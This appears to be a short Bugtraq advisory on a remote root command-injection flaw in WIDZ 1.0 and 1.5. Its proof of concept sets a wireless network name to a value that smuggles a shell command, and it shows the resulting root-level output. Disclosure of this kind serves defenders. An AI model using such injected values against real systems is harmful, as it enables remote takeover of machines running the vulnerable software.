WIDZ Remote Root Compromise Vulnerability

BID:8479

Info

WIDZ Remote Root Compromise Vulnerability

Bugtraq ID: 8479
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 23 2003 12:00AM
Updated: Aug 23 2003 12:00AM
Credit: Discovery is credited to KF <[email protected]>.
Vulnerable: WIDZ WIDZ 1.5
WIDZ WIDZ 1.0
Not Vulnerable:

Exploit / POC

WIDZ Remote Root Compromise Vulnerability

The following proof of concept was provided:

Go to Apple Airport and set network name to ';/usr/bin/id;

This will generate the following message:
unknown AP essid=
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh: -c: line 3: unexpected EOF while looking for matching `''
sh: -c: line 4: syntax error: unexpected end of file

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